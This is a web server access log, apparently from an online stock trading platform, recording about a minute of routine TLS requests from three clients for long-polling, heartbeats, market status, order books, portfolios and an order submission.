[09/Jan/2026:15:34:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1340
[09/Jan/2026:15:35:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:35:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944370528 HTTP/1.1" -
[09/Jan/2026:15:35:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944372552 HTTP/1.1" -
[09/Jan/2026:15:35:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:35:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:35:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944374818 HTTP/1.1" -
[09/Jan/2026:15:35:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944374892 HTTP/1.1" -
[09/Jan/2026:15:35:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944375607 HTTP/1.1" -
[09/Jan/2026:15:35:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:35:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944377592 HTTP/1.1" -
[09/Jan/2026:15:35:09 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944379852 HTTP/1.1" -
[09/Jan/2026:15:35:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944380887 HTTP/1.1" -
[09/Jan/2026:15:35:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944380687 HTTP/1.1" -
[09/Jan/2026:15:35:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944382612 HTTP/1.1" -
[09/Jan/2026:15:35:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944384887 HTTP/1.1" -
[09/Jan/2026:15:35:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:35:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:35:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1203
[09/Jan/2026:15:35:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944386887 HTTP/1.1" -
[09/Jan/2026:15:35:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944385839 HTTP/1.1" -
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:35:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944387635 HTTP/1.1" -
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1021
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944389925 HTTP/1.1" -
[09/Jan/2026:15:35:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:35:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1618
[09/Jan/2026:15:35:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:15:35:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944390975 HTTP/1.1" -
[09/Jan/2026:15:35:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944392884 HTTP/1.1" -
[09/Jan/2026:15:35:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944392675 HTTP/1.1" -
[09/Jan/2026:15:35:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944394968 HTTP/1.1" -
[09/Jan/2026:15:35:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:35:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:35:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944396146 HTTP/1.1" -
[09/Jan/2026:15:35:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:35:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944397709 HTTP/1.1" -
[09/Jan/2026:15:35:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944398889 HTTP/1.1" -
[09/Jan/2026:15:35:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944400011 HTTP/1.1" -
[09/Jan/2026:15:35:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944401200 HTTP/1.1" -
[09/Jan/2026:15:35:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944402732 HTTP/1.1" -
[09/Jan/2026:15:35:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944404890 HTTP/1.1" -
[09/Jan/2026:15:35:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944405044 HTTP/1.1" -
[09/Jan/2026:15:35:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1768
[09/Jan/2026:15:35:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:35:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:35:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944406356 HTTP/1.1" -
[09/Jan/2026:15:35:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944407768 HTTP/1.1" -
[09/Jan/2026:15:35:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944410081 HTTP/1.1" -
[09/Jan/2026:15:35:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944410888 HTTP/1.1" -
[09/Jan/2026:15:35:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944411430 HTTP/1.1" -
[09/Jan/2026:15:35:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944412798 HTTP/1.1" -
[09/Jan/2026:15:35:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944415167 HTTP/1.1" -
[09/Jan/2026:15:35:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1996
[09/Jan/2026:15:35:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:35:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944416884 HTTP/1.1" -
[09/Jan/2026:15:35:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944416579 HTTP/1.1" -
[09/Jan/2026:15:35:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944417834 HTTP/1.1" -
[09/Jan/2026:15:35:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944420199 HTTP/1.1" -
[09/Jan/2026:15:35:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944421628 HTTP/1.1" -
[09/Jan/2026:15:35:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944422879 HTTP/1.1" -
[09/Jan/2026:15:35:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944422854 HTTP/1.1" -
[09/Jan/2026:15:35:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944425228 HTTP/1.1" -
[09/Jan/2026:15:35:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:35:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:35:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944426777 HTTP/1.1" -
[09/Jan/2026:15:35:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:35:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:35:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:35:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944427878 HTTP/1.1" -
